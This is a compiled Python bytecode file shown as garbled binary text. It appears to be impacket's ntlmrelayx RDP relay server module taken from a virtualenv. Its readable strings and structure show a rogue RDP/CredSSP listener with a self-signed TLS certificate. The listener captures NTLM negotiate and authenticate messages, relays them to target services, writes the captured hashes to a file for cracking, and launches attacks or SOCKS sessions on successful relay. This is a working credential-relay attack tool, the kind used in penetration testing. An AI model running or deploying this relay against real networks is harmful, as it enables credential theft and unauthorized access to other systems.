o
    àý°j‚F  ã                   @   sÌ   d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlm	Z	 d dl
mZ d dlmZmZ d dlmZ d dlmZmZ d d	lmZ d d
lmZ d dlmZmZ d dlmZ G dd„ de	ƒZdS )é    )Údivision)Úprint_functionN)ÚThread)ÚSSL)ÚntlmÚLOG)ÚSTATUS_SUCCESS)ÚoutputToJohnFormatÚwriteJohnOutputToFile)Ú	Structure)ÚactiveConnections)ÚServerTLSContextÚgenerate_self_signed_cert)Úget_addressc                   @   s¸   e Zd ZdZdZdZdZdZdZdZ	dZ
dZG dd	„ d	eƒZG d
d„ deƒZG dd„ deƒZG dd„ deƒZG dd„ deƒZG dd„ dejejƒZG dd„ dejƒZdd„ Zdd„ ZdS )ÚRDPRelayServeré   éà   éÐ   éð   é   é   r   c                   @   ó   e Zd ZdZdS )zRDPRelayServer.TPKT))ÚVersionzB=3)ÚReservedúB=0)ÚLengthz>H)Ú_TPDUz_-TPDUzself["Length"]-4)ÚTPDUú:=""N©Ú__name__Ú
__module__Ú__qualname__Ú	commonHdr© r$   r$   ú¦/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/rdprelayserver.pyÚTPKT7   ó    r&   c                   @   s   e Zd ZdZddd„ZdS )zRDPRelayServer.TPDU))ÚLengthIndicatorÚB)ÚCoder)   )ÚVariablePartr   Nc                 C   s$   t  | |¡ |d u rd| d< d S d S )NÚ r+   )r   Ú__init__)ÚselfÚdatar$   r$   r%   r-   G   s   ÿzRDPRelayServer.TPDU.__init__)N)r    r!   r"   r#   r-   r$   r$   r$   r%   r   @   s    r   c                   @   r   )zRDPRelayServer.CR_TPDU))zDST-REFú<H=0)zSRC-REFr0   )zCLASS-OPTIONr   )ÚTyper   )ÚFlagsr   )r   z<H=8Nr   r$   r$   r$   r%   ÚCR_TPDUL   r'   r3   c                   @   r   )zRDPRelayServer.RDP_NEG_REQ))ÚrequestedProtocolsú<LN©r    r!   r"   Ú	structurer$   r$   r$   r%   ÚRDP_NEG_REQV   r'   r8   c                   @   r   )zRDPRelayServer.RDP_NEG_RSP))ÚselectedProtocolsr5   Nr6   r$   r$   r$   r%   ÚRDP_NEG_RSPY   r'   r:   c                   @   s   e Zd Zdd„ ZdS )zRDPRelayServer.RDPServerc                 C   sF   || _ d| _t|d |d | j jƒ\| _}dtj_tj | ||¡ d S )NTr   r   )	ÚconfigÚdaemon_threadsr   Úipv6Úaddress_familyÚsocketserverÚ	TCPServerÚallow_reuse_addressr-   )r.   Úserver_addressÚRequestHandlerClassr;   r$   r$   r%   r-   ]   s
   z!RDPRelayServer.RDPServer.__init__N)r    r!   r"   r-   r$   r$   r$   r%   Ú	RDPServer\   s    rD   c                   @   sH   e Zd Zdd„ Zdd„ Zedd„ ƒZdd„ Zd	d
„ Zdd„ Z	dd„ Z
dS )zRDPRelayServer.RDPHandlerc              
   C   s„   || _ |j| _| jj| _d | _d | _ztj | |||¡ W d S  tyA } zt	j
ddd� t	 dt|ƒ ¡ W Y d }~d S d }~ww )Nz(RDP): Exception:T)Úexc_infoz	(RDP): %s)Úserverr;   ÚtargetÚtargetprocessorÚauthUserr?   ÚBaseRequestHandlerr-   Ú	Exceptionr   ÚdebugÚerrorÚstr)r.   ÚrequestÚclient_addressrF   Úer$   r$   r%   r-   e   s   
 €þz"RDPRelayServer.RDPHandler.__init__c                 C   s  | j }| j}|d }zÔt d||d f ¡ | d¡ | d¡}t|ƒdk r)W d S z$t |¡}|d tj	kr:W W d S t 
|d ¡}|d	 tjkrLW W d S W n tyX   Y W d S w |d
 }t |¡}d|v r¨| d¡}	z
| d|	¡d }
W n! ty–   z
| d|	¡d }
W n ty“   t|ƒ}
Y nw Y nw |d |	… ||
d …  }t |¡}|d tjkr²W d S t |¡}|d tj@ sÆt d¡ W d S |  tj¡}| |¡ t d¡ |  ||¡ W d S  tjyé   Y d S  t�y } zt dt|ƒ ¡ W Y d }~d S d }~ww )Nr   z (RDP): New connection from %s:%sr   é   é   é   r   r   r*   r+   s   Cookie:s   
r   ó   
r1   r4   z3(RDP): Client doesn't support PROTOCOL_HYBRID (NLA)gš™™™™™¹?z(RDP): Exception in handle: %s)rO   rP   r   ÚinfoÚ
settimeoutÚrecvÚlenr   r&   ÚTPKT_VERSIONr   ÚTPDU_CONNECTION_REQUESTrK   r3   ÚindexÚ
ValueErrorÚTYPE_RDP_NEG_REQr8   ÚPROTOCOL_HYBRIDÚwarningÚbuild_rdp_neg_responseÚsendallÚtimeÚsleepÚhandle_credsspÚsocketÚtimeoutrM   rN   )r.   Úclient_socketrP   Ú	client_ipr/   ÚtpktÚtpduÚvariable_partÚcr_tpduÚcookie_startÚ
cookie_endÚrdp_negÚresponserQ   r$   r$   r%   Úhandleq   sh   


ÿÿ

ÿ€ý




 €ÿz RDPRelayServer.RDPHandler.handlec                 C   s
   |   d¡S )Ns   NTLMSSP )Úfind©r/   r$   r$   r%   Úfind_ntlmssp_in_data«   s   
z.RDPRelayServer.RDPHandler.find_ntlmssp_in_datac                 C   s   d }d }�zµ�z~t dƒ\}}t||ƒ}| ¡ }t ||¡}| ¡  d}	d}
t ¡ }|	s„t ¡ | |
k r„z| d¡ | ¡  d}	t	 
d¡ W n4 tjy^   t |gg g d¡}|d s\Y q)Y n tjyg   Y q) tjyp   Y n tjyy   Y q)w |	s„t ¡ | |
k s3|	s£t	 d¡ W W |r¡z| ¡  W d S  ty    Y d S w d S | d¡ d }d }	 z| d	¡}W n' tjyÎ   t |gg g d
¡}|d rËY q¬Y �n¶ tjtjfyÛ   Y �n©w |sà�n¤|  |¡}|dkrêq¬||d … }t|ƒdk r÷q¬t d|dd… ¡d }|dk�rét ¡ }| |¡ t	 
d|d  ¡ | jjdd�| _| jd u �rM| j j!�r<| jj"dd� | jjdd�| _| jd u �rMt	 #d|d  ¡ �n7t	 
d| jj$| jj%f ¡ | jj$ &¡ | j j'v�rrt	 (d| jj$ &¡  ¡ �n| j j'| jj$ &¡  | j | jdd�}| )¡ �s’t	 (d| jj% ¡ nò| *| +¡ ¡}|du �s£|d u �r©t	 (d¡ nÛ|d }t	 
d| jj% ¡ | j j,�rÜt -|d ¡}|tj.= | +¡ |d< t| +¡ ƒ|d< t| +¡ ƒ|d< |  /| +¡ ¡}| 0|¡ nš|dk�rƒt 1¡ }| |¡ | 2¡ | _3t	 
d| j3|d f ¡ |�r,| j j4�r,t5||d  |d! |d" |d# ƒ}t6|d$ |d% | j j4ƒ |�r‚| 7| +¡ ¡\}}|t8k�re| 9¡  t	 #d&| j3|d | jj$| jj%|j:f ¡ | j ;| jd| j3¡ |  <|¡ nt	 (d'| jj$| jj%| j3f ¡ | j ;| jd| j3¡ | =¡  nq­W n t�y¡ } zt	 (d(t>|ƒ ¡ W Y d }~nd }~ww W |�r¹z| ¡  W d S  t�y¸   Y d S w d S |�rÏz| ¡  W w  t�yÎ   Y w w w ))Nz
RDP-ServerFi,  é   Tz"(RDP): TLS established with clientr   z(RDP): TLS handshake failedrS   rR   éÿÿÿÿé   r5   é   r   z)(RDP): Received NTLMSSP NEGOTIATE from %s)Ú
multiRelay)Úfull_reloadzI(RDP): Connection from %s controlled, but there are no more targets left!z(RDP): Relaying to %s://%sz (RDP): No protocol client for %s)ÚextendedSecurityz%(RDP): Could not connect to target %sz*(RDP): Failed to get challenge from targetÚ	challengez#(RDP): Got CHALLENGE from target %sÚTargetInfoFieldsÚTargetInfoFields_lenÚTargetInfoFields_max_lenr   z/(RDP): Received NTLMSSP AUTHENTICATE from %s@%sÚ	user_nameÚdomain_nameÚlanmanr   Úhash_stringÚhash_versionzH(RDP): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]z2(RDP): Authenticating against %s://%s as %s FAILEDz&(RDP): Exception in handle_credssp: %s)?r   r   Ú
getContextr   Ú
ConnectionÚset_accept_staterc   rW   Údo_handshaker   rL   ÚWantReadErrorÚselectÚWantWriteErrorÚErrorrf   rg   r`   ÚshutdownrK   rX   ÚSysCallErrorru   rY   ÚstructÚunpackr   ÚNTLMAuthNegotiateÚ
fromStringrH   Ú	getTargetrG   r;   ÚkeepRelayingÚreloadTargetsrV   ÚschemeÚnetlocÚupperÚprotocolClientsrM   ÚinitConnectionÚsendNegotiateÚgetDataÚremove_targetÚAV_PAIRSÚNTLMSSP_AV_HOSTNAMEÚbuild_tsrequest_challengerb   ÚNTLMAuthChallengeResponseÚgetUserStringrI   Ú
outputFiler	   r
   ÚsendAuthr   ÚsetClientIdÚ	client_idÚregisterTargetÚ	do_attackÚkillConnectionrN   )r.   rh   rP   Ú
client_tlsÚrelay_clientÚpriv_key_pathÚ	cert_pathÚ
server_ctxÚclient_tls_ctxÚhandshake_completeÚhandshake_timeoutÚ
start_timeÚreadyr}   Únegotiate_messager/   Úntlm_offsetÚ
ntlm_tokenÚmessage_typeÚchallenge_messageÚav_pairsÚchallenge_responseÚauthenticate_messageÚntlm_hash_dataÚclientResponseÚ	errorCoderQ   r$   r$   r%   re   ¯   s0  

ÿÿò
wÿý
‹ÿ




ÿ





ûý
ÿÿ”€n€ÿ€ÿ
ýÿýz(RDPRelayServer.RDPHandler.handle_credsspc                 C   s¬   | j jr%| jj ¡ | j jjv r%t | jj	|j
| jj ¡ | j||jf¡ d S | jj ¡ | j jv rI| j j| jj ¡  | j |j| j| j|ƒ}| ¡  d S t d| jj ¡  ¡ d S )Nz"(RDP): No attack configured for %s)r;   ÚrunSocksrG   r—   r™   ÚsocksServerÚsupportedSchemesr   ÚputÚhostnameÚ
targetPortrI   ÚsessionDataÚattacksÚsessionÚstartr   rM   )r.   ÚclientÚclientThreadr$   r$   r%   r©   R  s   
ÿÿz#RDPRelayServer.RDPHandler.do_attackc                 C   s†   t  ¡ }t j|d< ||d< t  ¡ }t| ¡ ƒd |d< t j|d< | ¡ |d< t  ¡ }t j|d< t| ¡ ƒd |d	< | ¡ |d
< | ¡ S )Nr1   r9   r   r(   r*   r+   r   rT   r   r   )	r   r:   ÚTYPE_RDP_NEG_RSPr   rY   r�   ÚTPDU_CONNECTION_CONFIRMr&   rZ   )r.   Úprotocolrp   rk   rj   r$   r$   r%   ra   c  s   


z0RDPRelayServer.RDPHandler.build_rdp_neg_responsec                    sÔ   dd„ ‰ dd„ }‡ fdd„}‡ fdd„}‡ fd	d
„}||ƒ}|dt |ƒƒ| }|ddƒˆ t |ƒƒ | }|ddƒˆ t |ƒƒ | }	|dt |	ƒƒ|	 }
|dƒ}|dt |ƒƒ| }||
 }|ddƒˆ t |ƒƒ | }|S )Nc                 S   s"   | dkrt  dd| ¡S t  d| ¡S )Né   z>BHé‚   r)   ©r�   Úpack)Úlengthr$   r$   r%   Úwrite_lengthu  s   zIRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_lengthc                 S   s    |sdnd| d@ B }t  d|¡S )Nr   é    é   r)   rÑ   )ÚtagÚis_constructedÚtag_byter$   r$   r%   Úwrite_universal_tagz  s   zPRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_universal_tagc                    s    d| d@ B }t  d|¡ˆ |ƒ S )Né    rÖ   r)   rÑ   )Útag_numÚsizerÙ   ©rÔ   r$   r%   Úwrite_contextual_tag~  s   zQRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_contextual_tagc                    s(   t  d| ¡}t  dd¡ˆ t|ƒƒ | S )Nr)   r   ©r�   rÒ   rY   )ÚvalueÚ	int_bytesrÞ   r$   r%   Úwrite_integer‚  s   zJRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_integerc                    s   t  dd¡ˆ t| ƒƒ |  S )Nr)   rT   rà   rt   rÞ   r$   r%   Úwrite_octet_string†  s   zORDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_octet_stringr   é   Tr   rv   )rY   )r.   Úchallenge_datarÚ   rß   rã   rä   Úoctet_stringÚctx0Ú	inner_seqÚ	outer_seqÚctx1Úversion_intÚctx_versionÚmain_contentÚ
ts_requestr$   rÞ   r%   r¡   t  s   z3RDPRelayServer.RDPHandler.build_tsrequest_challengeN)r    r!   r"   r-   rr   Ústaticmethodru   re   r©   ra   r¡   r$   r$   r$   r%   Ú
RDPHandlerd   s    :
 $rñ   c                 C   s    t  | ¡ d| _|| _d | _d S )NT)r   r-   Údaemonr;   rF   )r.   r;   r$   r$   r%   r-   •  s   

zRDPRelayServer.__init__c                 C   s|   | j jsd| j _t d| j j ¡ |  | j j| j jf| j| j ¡| _z| j ¡  W n	 t	y1   Y nw t d¡ | j 
¡  d S )Ni=  z Setting up RDP Server on port %szShutting down RDP Server)r;   ÚlisteningPortr   rV   rD   ÚinterfaceIprñ   rF   Úserve_foreverÚKeyboardInterruptÚserver_close)r.   r$   r$   r%   Úrun›  s    ÿ
zRDPRelayServer.runN)r    r!   r"   rZ   r[   rÍ   Ú	TPDU_DATAr^   rÌ   ÚPROTOCOL_RDPÚPROTOCOL_SSLr_   r   r&   r   r3   r8   r:   r?   ÚThreadingMixInr@   rD   rJ   rñ   r-   rø   r$   r$   r$   r%   r   (   s*    	
  3r   )Ú
__future__r   r   r‹   rf   r?   r�   rc   Ú	threadingr   ÚOpenSSLr   Úimpacketr   r   Úimpacket.nt_errorsr   Úimpacket.smbserverr	   r
   Úimpacket.structurer   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   Ú*impacket.examples.ntlmrelayx.utils.rdp_sslr   r   Úimpacket.examples.utilsr   r   r$   r$   r$   r%   Ú<module>   s"   